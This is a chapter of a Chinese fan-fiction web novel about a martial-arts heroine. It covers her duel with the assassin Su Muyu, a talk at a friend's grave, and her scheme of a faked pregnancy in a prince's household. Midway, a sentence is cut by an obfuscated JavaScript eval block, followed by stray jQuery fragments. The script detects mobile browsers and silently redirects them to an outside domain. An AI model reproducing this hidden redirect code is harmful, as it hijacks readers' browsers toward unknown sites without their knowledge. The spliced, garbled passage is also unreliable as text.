54.“夫人,我的十八剑阵,少一把剑也不耽误。”

作品:《【少年白马醉春风】我在江湖里当黑莲花

    “夫人,我的十八剑阵,少一把剑也不耽误。”


    苏暮雨用油纸伞挡住自己的脸,但我也能猜到他的脸色有多黑。


    此时,他已然摆好了出招的姿势。像是,十七剑阵马上就要飞出来将在场的三人扎成筛子了。


    我叹了一口气,和姬若风一样,打架的时候装酷,为了展示自己多厉害而遮住自己的视线,也不怕别人偷袭。


    我手持凌云剑,雪地里的剑身寒光闪烁,似能划破虚空,散发出令人胆寒的剑意。


    寒风骤起,苏暮雨的一袭黑衣在风中猎猎作响。只见他面容冷峻,深邃的眼眸中透着坚毅。


    他虽然握着那把细剑,但却将那油纸伞当作绝世宝剑,伞柄斜指,仿佛下一刻便能刺出致命一击。


    我率先发难,凌云剑一抖,恰似灵蛇出洞,带着尖锐的呼啸声直刺苏暮雨的咽喉。


    苏暮雨不慌不忙,手中油纸伞轻轻一旋,伞面如盾牌般稳稳挡住来剑,金属碰撞声中,溅起几点火星。


    紧接着,苏暮雨手腕翻转,油纸伞边缘如刀刃般切向我的手腕,动作快如闪电。


    见状,我将凌云剑顺势上挑,化解攻势,同时身形一转,绕到苏暮雨侧面,剑随身动,横削而去。


    苏暮雨脚尖轻点,向后飘然而退数丈,而后猛地前冲,油纸伞在空中划出一道凌厉的弧线,恰似蛟龙破浪,直直朝着我而来。


    手中的凌云剑舞成一团光影,密不透风地护住自身。一时间,剑影与伞影交错纵横,金戈之声响彻山巅,周围的草木也被这强大的气流震得沙沙作响,树上的积雪簌簌落下。


    就这样十个回合下来,我们却没有一人使出全力。


    只见苏暮雨稳住身形,勾唇笑道:


    “夫人,如何不使出那一记绝杀?”


    他见过我的云起龙骧,那是我恢复逍遥天境后第一次使出那一招。


    我看向他,道:


    “你也不是每次都会使出你的十八剑阵啊,是害怕对手和我一样将你的剑抢走吗?同样的道理,我那一招很费精力的。”


    “好了,过年喜庆的日子,我也不想舞刀弄枪的。”


    只听“当啷”一声,那柄锈剑被扔在他身前的石头上。苏暮雨有些发愣,遂抬起油纸伞看向我。


    我收起手中的凌云剑,抱着手对他道:


    “你的剑,拿好了。之前是我骗你的,这剑我拿去卖废品都没人要。”


    苏暮雨有些疑惑,却还是上前一步捡起了剑插进伞骨之中。


    我转身不再看他,面对着江鹤的坟墓叹生道:


    “你们走吧,大过年的我不想跟你打,你也不要再来打扰我。今日我是来祭奠朋友的,我的这位朋友死在你手你,日后再见面,我会杀了你为江鹤报仇。”


    苏暮雨撑着伞立在原地,最终道:


    “之前暗河接到了除掉景玉王妃易文君的单子,我见你身怀有孕才出手相救。如今看来,你怀孕是假的。”


    我冷笑一声,遂紧紧握住手中的凌云剑,不屑道:


    “你想杀我吗?这个景玉王妃我已经当够了,大不了你杀了我,我一了百了。”


    苏暮雨直摇头,露出一抹笑:


    “不,暗河的雇主还未付钱,这份生意没有后续。我想问,救太安帝的药,是谁给你的?”


    说起这个我倒是来了兴趣,遂转身开始回忆那个红衣女子。


    “给我药的人是个长相甜美的红衣女子,自称是辛百草的长辈,我想辛百草也是而立不惑之年了,怎么会有那样年轻的长辈。”


    我说起此话时,一旁的辛百草一脸幽怨的看着我,那样的表情好像在说“我看上去有那么老吗?”


    苏暮雨听罢,抿嘴笑了笑,随后向我们告辞。


    我不曾转过身来,对他道:


    “下次再见,我一定手刃暗河杀手,名扬天下!”


    苏暮雨的脚步顿了顿,随后快步离开了。能不能手刃是一回事,面对暗河的人,气势要足。


    而一旁的无天连忙上前,嬉笑道:


    “过年了,我也要回一趟天外天,娘娘,您把下个月的解药给我呗。”


    曾经的天外天尊使,求药的时候确实这副摸样。我咬着牙,将一袋子要递给他。


    “这够你吃到开春了。”


    无天笑着同我告别,此时只剩下我和辛百草。


    辛百草淡定地拂去江鹤墓碑上的雪花,与我闲聊着:


    “你说的那个红衣女子是我的小师叔,白鹤淮。”


    “小师叔?”


    我有些疑惑,辛百草的小师叔怎么会是一个年轻貌美的女子。


    只听辛百草淡定说着:


    “她是我师祖的老来得徒,一时盛宠万分。只是她刚拜师没几年,师祖他老人家就仙逝了。后来,师父也年长去世后,药王谷就只留下了这位小师叔和我。她自幼在药王谷跟着那些灵兽长大,如今她嫌药王谷挣不了钱,所以才会现身江湖。”


    还真是个妙人,但辛百草说起她离开药王谷时有些忧愁。


    “你很不想她离开药王谷?”


    我瞧着他失意的背影,轻声询问他。见他没有任何反应,我拍了拍他的肩,轻声安慰道:


    “人各有志向,你不必强求。更何况你和她年龄相差甚远……强扭的瓜不甜。”


    我也不是没有见过师侄喜欢上师叔的故事,只是那白鹤淮才二十出头的年龄,着实和辛百草不般配。


    辛百草暴跳如雷,对我大声道:


    “你说什么呢!我只是觉得我小师叔比我年轻,她若是留在药王谷,药王谷会更有点前途一些。但正因为她很年轻,有自己的追求,所以不会留在药王谷。”


    是吗?是我……误会了,我讪讪笑着,道:


    “药王在哪儿,哪儿就是药王谷,身为药王的你也不必在意别人的去留。”


    说罢,我迎着雪下了山去。辛百草在江鹤的坟前站了许久,我不是到他在想什么,或许是感慨生命的失去,又或许是在思考药王谷该如何传承与复兴。


    ………


    新春过后,天启城里仍然波谲云诡。除夕御宴一事之后,青王低调了很久,但谁也不直到他正在背后捣什么鬼。


    太安帝的身体虽比不上从前,但也能稳步走上皇位,接受百官朝拜。身为禁军副都统的洛青阳更忙了,但他却仍然坚持回景玉王府,来到我的院子里向我问安。


    彼时早已是来年的初秋,正妃因为硕大的肚子已经行动不便了。


    我吩咐千尘换了个更大的枕头塞进裙摆里,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608252|150885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看上去也只比正妃的肚子小上那么一点。


    从此,我开始学她在晌午时坐在院子里吹风,打瞌,小青就环在我的手腕上小憩。


    洛青阳的脚步很轻,来到院子里后他便站在那里看着我。


    我睁开眼,见他站在离我很远的地方,不禁有些疑惑:


    “师兄,你站在那里做什么?过来喝茶。”


    我伸手为他斟茶,洛青阳只是低下了头去,道:


    “我来看看你,近日事宜很多,恐怕来见你的机会很少了。”


    自从他成为这禁军副都统后,我与他还生疏了不少。我也在思考这其中的问题,最终归结到易卜身上。


    易卜曾气冲冲的进了我的院子,对我说:


    “虽然洛青阳是你的师兄,但如今你已经快临盆,便不能跟洛青阳走得太近。”


    我撑着脑袋听他讲完那一番言论,默默翻过一个白眼去。想必是易卜也和洛青阳讲过这番话,他如今才会这幅样子。


    我放下手中的杯子,淡定地对他道:


    “若师兄很忙的话就不用每日都回来看我了,你放心吧,我身边还有千尘呢。”


    洛青阳只是沉默不语,两人就这样呆了一个时辰,等到前尘回来,洛青阳便默默退去。


    “夫人,我刚去了一趟回春堂,赵娘子说近日会偶尔觉得腹部抽痛,怕是要临盆了。”


    我捏着手中的杯子,勾唇笑着,时机已然成熟。接下来,就只等孩子出生了。


    “易娘娘!”


    正思索时,看见那个拿着小木剑的孩子遛进了我的院子。


    栩夫人跟在身后,嘱咐他慢一点。


    “崇儿,你怎么来了!栩夫人,快来坐。”


    已经长高一些的萧崇贴着我喊易娘娘,我满心欢喜,遂吩咐千尘去拿屋里的点心。


    栩夫人刚打开手里的食盒,连忙叫住千尘,笑道:


    “你可还记得我们院子里有一树桂花,最近桂花开了,我做了一些桂花糕拿给你吃。”


    我接过她递过来的桂花糕,香浓的桂花氤氲在嘴里。栩夫人的手艺很好,我与她同住的时候,就尝过她做的各种糕点。


    “易娘娘,我娘做的桂花糕最好吃了。”


    此时的萧崇正用水汪汪的大眼睛看着我将桂花糕塞进嘴里,我捏了捏他的脸颊,笑道:


    “当然了,你娘的手艺最好了。”


    这样乖巧懂事的孩子,可惜了他爹对他的关心不够。


    只见栩夫人正面露难色,像是要和我说些什么。


    我放下手中还未吃完的桂花糕,疑惑问她:


    “栩夫人怎么了?”


    她拉过站在一旁的萧崇,抿了抿嘴,对我道:


    “我人微言轻,见不到王爷。但崇儿也快四岁了,我想让你帮我求求王爷,给崇儿找个练武的师父。”


    她说时卑微,像是央求。身在王府,若有一身武艺傍身,那将会避免很多麻烦。


    要我说,她何须这般自卑微,她就应该带着孩子直接踹开萧若瑾的房门,指名道姓地要颜战天回来给萧崇当师父。


    我瞧了瞧她,又嚼了嚼嘴里的桂花糕,不禁想到一个好办法。


    “琅琊王是个好说话的人,你直接带着崇儿去找琅琊王。”